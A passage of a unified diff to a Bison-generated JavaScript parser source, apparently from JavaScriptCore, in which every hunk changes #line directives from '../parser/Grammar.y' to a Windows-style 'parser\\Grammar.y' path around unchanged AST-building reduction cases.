-#line 775 "../parser/Grammar.y"
+#line 775 "parser\\Grammar.y"
     { (yyval.op) = OpMultEq; ;}
     break;
 
   case 187:
 
 /* Line 1455 of yacc.c  */
-#line 776 "../parser/Grammar.y"
+#line 776 "parser\\Grammar.y"
     { (yyval.op) = OpDivEq; ;}
     break;
 
   case 188:
 
 /* Line 1455 of yacc.c  */
-#line 777 "../parser/Grammar.y"
+#line 777 "parser\\Grammar.y"
     { (yyval.op) = OpLShift; ;}
     break;
 
   case 189:
 
 /* Line 1455 of yacc.c  */
-#line 778 "../parser/Grammar.y"
+#line 778 "parser\\Grammar.y"
     { (yyval.op) = OpRShift; ;}
     break;
 
   case 190:
 
 /* Line 1455 of yacc.c  */
-#line 779 "../parser/Grammar.y"
+#line 779 "parser\\Grammar.y"
     { (yyval.op) = OpURShift; ;}
     break;
 
   case 191:
 
 /* Line 1455 of yacc.c  */
-#line 780 "../parser/Grammar.y"
+#line 780 "parser\\Grammar.y"
     { (yyval.op) = OpAndEq; ;}
     break;
 
   case 192:
 
 /* Line 1455 of yacc.c  */
-#line 781 "../parser/Grammar.y"
+#line 781 "parser\\Grammar.y"
     { (yyval.op) = OpXOrEq; ;}
     break;
 
   case 193:
 
 /* Line 1455 of yacc.c  */
-#line 782 "../parser/Grammar.y"
+#line 782 "parser\\Grammar.y"
     { (yyval.op) = OpOrEq; ;}
     break;
 
   case 194:
 
 /* Line 1455 of yacc.c  */
-#line 783 "../parser/Grammar.y"
+#line 783 "parser\\Grammar.y"
     { (yyval.op) = OpModEq; ;}
     break;
 
   case 196:
 
 /* Line 1455 of yacc.c  */
-#line 788 "../parser/Grammar.y"
+#line 788 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 198:
 
 /* Line 1455 of yacc.c  */
-#line 793 "../parser/Grammar.y"
+#line 793 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 200:
 
 /* Line 1455 of yacc.c  */
-#line 798 "../parser/Grammar.y"
+#line 798 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 218:
 
 /* Line 1455 of yacc.c  */
-#line 822 "../parser/Grammar.y"
+#line 822 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) BlockNode(GLOBAL_DATA, 0), 0, 0, 0, 0);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
     break;
@@ -4093,7 +4093,7 @@ yyreduce:
   case 219:
 
 /* Line 1455 of yacc.c  */
-#line 824 "../parser/Grammar.y"
+#line 824 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) BlockNode(GLOBAL_DATA, (yyvsp[(2) - (3)].sourceElements).m_node), (yyvsp[(2) - (3)].sourceElements).m_varDeclarations, (yyvsp[(2) - (3)].sourceElements).m_funcDeclarations, (yyvsp[(2) - (3)].sourceElements).m_features, (yyvsp[(2) - (3)].sourceElements).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
     break;
@@ -4101,7 +4101,7 @@ yyreduce:
   case 220:
 
 /* Line 1455 of yacc.c  */
-#line 829 "../parser/Grammar.y"
+#line 829 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(makeVarStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].varDeclList).m_node), (yyvsp[(2) - (3)].varDeclList).m_varDeclarations, (yyvsp[(2) - (3)].varDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].varDeclList).m_features, (yyvsp[(2) - (3)].varDeclList).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
     break;
@@ -4109,7 +4109,7 @@ yyreduce:
   case 221:
 
 /* Line 1455 of yacc.c  */
-#line 831 "../parser/Grammar.y"
+#line 831 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(makeVarStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].varDeclList).m_node), (yyvsp[(2) - (3)].varDeclList).m_varDeclarations, (yyvsp[(2) - (3)].varDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].varDeclList).m_features, (yyvsp[(2) - (3)].varDeclList).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)]));
                                           AUTO_SEMICOLON; ;}
@@ -4118,7 +4118,7 @@ yyreduce:
   case 222:
 
 /* Line 1455 of yacc.c  */
-#line 837 "../parser/Grammar.y"
+#line 837 "parser\\Grammar.y"
     { (yyval.varDeclList).m_node = 0;
                                           (yyval.varDeclList).m_varDeclarations = new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::VarStack>;
                                           appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(1) - (1)].ident), 0);
@@ -4131,7 +4131,7 @@ yyreduce:
   case 223:
 
 /* Line 1455 of yacc.c  */
-#line 844 "../parser/Grammar.y"
+#line 844 "parser\\Grammar.y"
     { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(1) - (2)].ident), (yyvsp[(2) - (2)].expressionNode).m_node, (yyvsp[(2) - (2)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column);
                                           (yyval.varDeclList).m_node = node;
@@ -4146,7 +4146,7 @@ yyreduce:
   case 224:
 
 /* Line 1455 of yacc.c  */
-#line 854 "../parser/Grammar.y"
+#line 854 "parser\\Grammar.y"
     { (yyval.varDeclList).m_node = (yyvsp[(1) - (3)].varDeclList).m_node;
                                           (yyval.varDeclList).m_varDeclarations = (yyvsp[(1) - (3)].varDeclList).m_varDeclarations;
                                           appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(3) - (3)].ident), 0);
@@ -4159,7 +4159,7 @@ yyreduce:
   case 225:
 
 /* Line 1455 of yacc.c  */
-#line 862 "../parser/Grammar.y"
+#line 862 "parser\\Grammar.y"
     { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(3) - (4)].ident), (yyvsp[(4) - (4)].expressionNode).m_node, (yyvsp[(4) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(3) - (4)]).first_column, (yylsp[(4) - (4)]).first_column + 1, (yylsp[(4) - (4)]).last_column);
                                           (yyval.varDeclList).m_node = combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (4)].varDeclList).m_node, node);
@@ -4174,7 +4174,7 @@ yyreduce:
   case 226:
 
 /* Line 1455 of yacc.c  */
-#line 874 "../parser/Grammar.y"
+#line 874 "parser\\Grammar.y"
     { (yyval.varDeclList).m_node = 0;
                                           (yyval.varDeclList).m_varDeclarations = new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::VarStack>;
                                           appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(1) - (1)].ident), 0);
@@ -4187,7 +4187,7 @@ yyreduce:
   case 227:
 
 /* Line 1455 of yacc.c  */
-#line 881 "../parser/Grammar.y"
+#line 881 "parser\\Grammar.y"
     { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(1) - (2)].ident), (yyvsp[(2) - (2)].expressionNode).m_node, (yyvsp[(2) - (2)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column);
                                           (yyval.varDeclList).m_node = node;
@@ -4202,7 +4202,7 @@ yyreduce:
   case 228:
 
 /* Line 1455 of yacc.c  */
-#line 891 "../parser/Grammar.y"
+#line 891 "parser\\Grammar.y"
     { (yyval.varDeclList).m_node = (yyvsp[(1) - (3)].varDeclList).m_node;
                                           (yyval.varDeclList).m_varDeclarations = (yyvsp[(1) - (3)].varDeclList).m_varDeclarations;
                                           appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(3) - (3)].ident), 0);
@@ -4215,7 +4215,7 @@ yyreduce:
   case 229:
 
 /* Line 1455 of yacc.c  */
-#line 899 "../parser/Grammar.y"
+#line 899 "parser\\Grammar.y"
     { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(3) - (4)].ident), (yyvsp[(4) - (4)].expressionNode).m_node, (yyvsp[(4) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(3) - (4)]).first_column, (yylsp[(4) - (4)]).first_column + 1, (yylsp[(4) - (4)]).last_column);
                                           (yyval.varDeclList).m_node = combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (4)].varDeclList).m_node, node);
@@ -4230,7 +4230,7 @@ yyreduce:
   case 230:
 
 /* Line 1455 of yacc.c  */
-#line 911 "../parser/Grammar.y"
+#line 911 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ConstStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].constDeclList).m_node.head), (yyvsp[(2) - (3)].constDeclList).m_varDeclarations, (yyvsp[(2) - (3)].constDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].constDeclList).m_features, (yyvsp[(2) - (3)].constDeclList).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
     break;
@@ -4238,7 +4238,7 @@ yyreduce:
   case 231:
 
 /* Line 1455 of yacc.c  */
-#line 914 "../parser/Grammar.y"
+#line 914 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ConstStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].constDeclList).m_node.head), (yyvsp[(2) - (3)].constDeclList).m_varDeclarations, (yyvsp[(2) - (3)].constDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].constDeclList).m_features, (yyvsp[(2) - (3)].constDeclList).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)])); AUTO_SEMICOLON; ;}
     break;
@@ -4246,7 +4246,7 @@ yyreduce:
   case 232:
 
 /* Line 1455 of yacc.c  */
-#line 919 "../parser/Grammar.y"
+#line 919 "parser\\Grammar.y"
     { (yyval.constDeclList).m_node.head = (yyvsp[(1) - (1)].constDeclNode).m_node;
                                           (yyval.constDeclList).m_node.tail = (yyval.constDeclList).m_node.head;
                                           (yyval.constDeclList).m_varDeclarations = new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::VarStack>;
@@ -4260,7 +4260,7 @@ yyreduce:
   case 233:
 
 /* Line 1455 of yacc.c  */
-#line 928 "../parser/Grammar.y"
+#line 928 "parser\\Grammar.y"
     { (yyval.constDeclList).m_node.head = (yyvsp[(1) - (3)].constDeclList).m_node.head;
                                           (yyvsp[(1) - (3)].constDeclList).m_node.tail->m_next = (yyvsp[(3) - (3)].constDeclNode).m_node;
                                           (yyval.constDeclList).m_node.tail = (yyvsp[(3) - (3)].constDeclNode).m_node;
@@ -4274,42 +4274,42 @@ yyreduce:
   case 234:
 
 /* Line 1455 of yacc.c  */
-#line 939 "../parser/Grammar.y"
+#line 939 "parser\\Grammar.y"
     { (yyval.constDeclNode) = createNodeInfo<ConstDeclNode*>(new (GLOBAL_DATA) ConstDeclNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident), 0), (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0, 0); ;}
     break;
 
   case 235:
 
 /* Line 1455 of yacc.c  */
-#line 940 "../parser/Grammar.y"
+#line 940 "parser\\Grammar.y"
     { (yyval.constDeclNode) = createNodeInfo<ConstDeclNode*>(new (GLOBAL_DATA) ConstDeclNode(GLOBAL_DATA, *(yyvsp[(1) - (2)].ident), (yyvsp[(2) - (2)].expressionNode).m_node), ((*(yyvsp[(1) - (2)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 236:
 
 /* Line 1455 of yacc.c  */
-#line 944 "../parser/Grammar.y"
+#line 944 "parser\\Grammar.y"
     { (yyval.expressionNode) = (yyvsp[(2) - (2)].expressionNode); ;}
     break;
 
   case 237:
 
 /* Line 1455 of yacc.c  */
-#line 948 "../parser/Grammar.y"
+#line 948 "parser\\Grammar.y"
     { (yyval.expressionNode) = (yyvsp[(2) - (2)].expressionNode); ;}
     break;
 
   case 238:
 
 /* Line 1455 of yacc.c  */
-#line 952 "../parser/Grammar.y"
+#line 952 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) EmptyStatementNode(GLOBAL_DATA), 0, 0, 0, 0); ;}
     break;
 
   case 239:
 
 /* Line 1455 of yacc.c  */
-#line 956 "../parser/Grammar.y"
+#line 956 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ExprStatementNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node), 0, 0, (yyvsp[(1) - (2)].expressionNode).m_features, (yyvsp[(1) - (2)].expressionNode).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
     break;
@@ -4317,7 +4317,7 @@ yyreduce:
   case 240:
 
 /* Line 1455 of yacc.c  */
-#line 958 "../parser/Grammar.y"
+#line 958 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ExprStatementNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node), 0, 0, (yyvsp[(1) - (2)].expressionNode).m_features, (yyvsp[(1) - (2)].expressionNode).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
     break;
@@ -4325,7 +4325,7 @@ yyreduce:
   case 241:
 
 /* Line 1455 of yacc.c  */
-#line 964 "../parser/Grammar.y"
+#line 964 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) IfNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].statementNode).m_node), (yyvsp[(5) - (5)].statementNode).m_varDeclarations, (yyvsp[(5) - (5)].statementNode).m_funcDeclarations, (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].statementNode).m_features, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].statementNode).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (5)]), (yylsp[(4) - (5)])); ;}
     break;
@@ -4333,7 +4333,7 @@ yyreduce:
   case 242:
 
 /* Line 1455 of yacc.c  */
-#line 967 "../parser/Grammar.y"
+#line 967 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) IfElseNode(GLOBAL_DATA, (yyvsp[(3) - (7)].expressionNode).m_node, (yyvsp[(5) - (7)].statementNode).m_node, (yyvsp[(7) - (7)].statementNode).m_node), 
                                                                                          mergeDeclarationLists((yyvsp[(5) - (7)].statementNode).m_varDeclarations, (yyvsp[(7) - (7)].statementNode).m_varDeclarations),
                                                                                          mergeDeclarationLists((yyvsp[(5) - (7)].statementNode).m_funcDeclarations, (yyvsp[(7) - (7)].statementNode).m_funcDeclarations),
@@ -4345,7 +4345,7 @@ yyreduce:
   case 243:
 
 /* Line 1455 of yacc.c  */
-#line 976 "../parser/Grammar.y"
+#line 976 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DoWhileNode(GLOBAL_DATA, (yyvsp[(2) - (7)].statementNode).m_node, (yyvsp[(5) - (7)].expressionNode).m_node), (yyvsp[(2) - (7)].statementNode).m_varDeclarations, (yyvsp[(2) - (7)].statementNode).m_funcDeclarations, (yyvsp[(2) - (7)].statementNode).m_features | (yyvsp[(5) - (7)].expressionNode).m_features, (yyvsp[(2) - (7)].statementNode).m_numConstants + (yyvsp[(5) - (7)].expressionNode).m_numConstants);
                                              setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (7)]), (yylsp[(3) - (7)])); ;}
     break;
@@ -4353,7 +4353,7 @@ yyreduce:
   case 244:
 
 /* Line 1455 of yacc.c  */
-#line 978 "../parser/Grammar.y"
+#line 978 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DoWhileNode(GLOBAL_DATA, (yyvsp[(2) - (7)].statementNode).m_node, (yyvsp[(5) - (7)].expressionNode).m_node), (yyvsp[(2) - (7)].statementNode).m_varDeclarations, (yyvsp[(2) - (7)].statementNode).m_funcDeclarations, (yyvsp[(2) - (7)].statementNode).m_features | (yyvsp[(5) - (7)].expressionNode).m_features, (yyvsp[(2) - (7)].statementNode).m_numConstants + (yyvsp[(5) - (7)].expressionNode).m_numConstants);
                                              setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (7)]), (yylsp[(3) - (7)])); ;}
     break;
@@ -4361,7 +4361,7 @@ yyreduce:
   case 245:
 
 /* Line 1455 of yacc.c  */
-#line 980 "../parser/Grammar.y"
+#line 980 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) WhileNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].statementNode).m_node), (yyvsp[(5) - (5)].statementNode).m_varDeclarations, (yyvsp[(5) - (5)].statementNode).m_funcDeclarations, (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].statementNode).m_features, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].statementNode).m_numConstants);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (5)]), (yylsp[(4) - (5)])); ;}
     break;
@@ -4369,7 +4369,7 @@ yyreduce:
   case 246:
 
 /* Line 1455 of yacc.c  */
-#line 983 "../parser/Grammar.y"
+#line 983 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ForNode(GLOBAL_DATA, (yyvsp[(3) - (9)].expressionNode).m_node, (yyvsp[(5) - (9)].expressionNode).m_node, (yyvsp[(7) - (9)].expressionNode).m_node, (yyvsp[(9) - (9)].statementNode).m_node, false), (yyvsp[(9) - (9)].statementNode).m_varDeclarations, (yyvsp[(9) - (9)].statementNode).m_funcDeclarations, 
                                                                                          (yyvsp[(3) - (9)].expressionNode).m_features | (yyvsp[(5) - (9)].expressionNode).m_features | (yyvsp[(7) - (9)].expressionNode).m_features | (yyvsp[(9) - (9)].statementNode).m_features,
                                                                                          (yyvsp[(3) - (9)].expressionNode).m_numConstants + (yyvsp[(5) - (9)].expressionNode).m_numConstants + (yyvsp[(7) - (9)].expressionNode).m_numConstants + (yyvsp[(9) - (9)].statementNode).m_numConstants);
@@ -4380,7 +4380,7 @@ yyreduce:
   case 247:
 
 /* Line 1455 of yacc.c  */
-#line 989 "../parser/Grammar.y"
+#line 989 "parser\\Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ForNode(GLOBAL_DATA, (yyvsp[(4) - (10)].varDeclList).m_node, (yyvsp[(6) - (10)].expressionNode).m_node, (yyvsp[(8) - (10)].expressionNode).m_node, (yyvsp[(10) - (10)].statementNode).m_node, true),
                                                                                          mergeDeclarationLists((yyvsp[(4) - (10)].varDeclList).m_varDeclarations, (yyvsp[(10) - (10)].statementNode).m_varDeclarations),
                                                                                          mergeDeclarationLists((yyvsp[(4) - (10)].varDeclList).m_funcDeclarations, (yyvsp[(10) - (10)].statementNode).m_funcDeclarations),
@@ -4392,7 +4392,7 @@ yyreduce:
   case 248:
 
 /* Line 1455 of yacc.c  */
-#line 996 "../parser/Grammar.y"
+#line 996 "parser\\Grammar.y"
     {
                                             ForInNode* node = new (GLOBAL_DATA) ForInNode(GLOBAL_DATA, (yyvsp[(3) - (7)].expressionNode).m_node, (yyvsp[(5) - (7)].expressionNode).m_node, (yyvsp[(7) - (7)].statementNode).m_node);
                                             setExceptionLocation(node, (yylsp[(3) - (7)]).first_column, (yylsp[(3) - (7)]).last_column, (yylsp[(5) - (7)]).last_column);
@@ -4406,7 +4406,7 @@ yyreduce:
   case 249:
 
 /* Line 1455 of yacc.c  */
-#line 1005 "../parser/Grammar.y"
+#line 1005 "parser\\Grammar.y"
     { ForInNode *forIn = new (GLOBAL_DATA) ForInNode(GLOBAL_DATA, *(yyvsp[(4) - (8)].ident), 0, (yyvsp[(6) - (8)].expressionNode).m_node, (yyvsp[(8) - (8)].statementNode).m_node, (yylsp[(5) - (8)]).first_column, (yylsp[(5) - (8)]).first_column - (yylsp[(4) - (8)]).first_column, (yylsp[(6) - (8)]).last_column - (yylsp[(5) - (8)]).first_column);
                                           setExceptionLocation(forIn, (yylsp[(4) - (8)]).first_column, (yylsp[(5) - (8)]).first_column + 1, (yylsp[(6) - (8)]).last_column);
                                           appendToVarDeclarationList(GLOBAL_DATA, (yyvsp[(8) - (8)].statementNode).m_varDeclarations, *(yyvsp[(4) - (8)].ident), DeclarationStacks::HasInitializer);
@@ -4417,7 +4417,7 @@ yyreduce:
   case 250:
 
 /* Line 1455 of yacc.c  */
-#line 1011 "../parser/Grammar.y"
+#line 1011 "parser\\Grammar.y"
     { ForInNode *forIn = new (GLOBAL_DATA) ForInNode(GLOBAL_DATA, *(yyvsp[(4) - (9)].ident), (yyvsp[(5) - (9)].expressionNode).m_node, (yyvsp[(7) - (9)].expressionNode).m_node, (yyvsp[(9) - (9)].statementNode).m_node, (yylsp[(5) - (9)]).first_column, (yylsp[(5) - (9)]).first_column - (yylsp[(4) - (9)]).first_column, (yylsp[(5) - (9)]).last_column - (yylsp[(5) - (9)]).first_column);
                                           setExceptionLocation(forIn, (yylsp[(4) - (9)]).first_column, (yylsp[(6) - (9)]).first_column + 1, (yylsp[(7) - (9)]).last_column);
                                           appendToVarDeclarationList(GLOBAL_DATA, (yyvsp[(9) - (9)].statementNode).m_varDeclarations, *(yyvsp[(4) - (9)].ident), DeclarationStacks::HasInitializer);
@@ -4430,21 +4430,21 @@ yyreduce:
   case 251:
 
 /* Line 1455 of yacc.c  */
-#line 1021 "../parser/Grammar.y"
+#line 1021 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(0, 0, 0); ;}
     break;
 
   case 253:
 
 /* Line 1455 of yacc.c  */
-#line 1026 "../parser/Grammar.y"
+#line 1026 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(0, 0, 0); ;}
     break;
 
   case 255:
 
 /* Line 1455 of yacc.c  */
-#line 1031 "../parser/Grammar.y"
+#line 1031 "parser\\Grammar.y"
     { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0);
@@ -4454,7 +4454,7 @@ yyreduce:
   case 256:
 
 /* Line 1455 of yacc.c  */
-#line 1035 "../parser/Grammar.y"
+#line 1035 "parser\\Grammar.y"
     { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0);
@@ -4464,7 +4464,7 @@ yyreduce:
   case 257:
 
 /* Line 1455 of yacc.c  */
-#line 1039 "../parser/Grammar.y"
+#line 1039 "parser\\Grammar.y"
     { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column); 
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0);
@@ -4474,7 +4474,7 @@ yyreduce:
   case 258:
 
 /* Line 1455 of yacc.c  */
-#line 1043 "../parser/Grammar.y"
+#line 1043 "parser\\Grammar.y"
     { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column); 
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0);
@@ -4484,7 +4484,7 @@ yyreduce:
   case 259:
 
 /* Line 1455 of yacc.c  */
-#line 1050 "../parser/Grammar.y"
+#line 1050 "parser\\Grammar.y"
     { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column);
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
@@ -4493,7 +4493,7 @@ yyreduce:
   case 260:
 
 /* Line 1455 of yacc.c  */
-#line 1053 "../parser/Grammar.y"
+#line 1053 "parser\\Grammar.y"
     { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column);
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) BreakNode(GLOBAL_DATA), 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
@@ -4502,7 +4502,7 @@ yyreduce:
   case 261:
 
 /* Line 1455 of yacc.c  */
-#line 1056 "../parser/Grammar.y"
+#line 1056 "parser\\Grammar.y"
     { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
@@ -4511,7 +4511,7 @@ yyreduce:
   case 262:
 
 /* Line 1455 of yacc.c  */
-#line 1059 "../parser/Grammar.y"
+#line 1059 "parser\\Grammar.y"
     { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
                                           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) BreakNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident)), 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)])); AUTO_SEMICOLON; ;}
@@ -4520,7 +4520,7 @@ yyreduce:
   case 263:
 
 /* Line 1455 of yacc.c  */
-#line 1065 "../parser/Grammar.y"
+#line 1065 "parser\\Grammar.y"
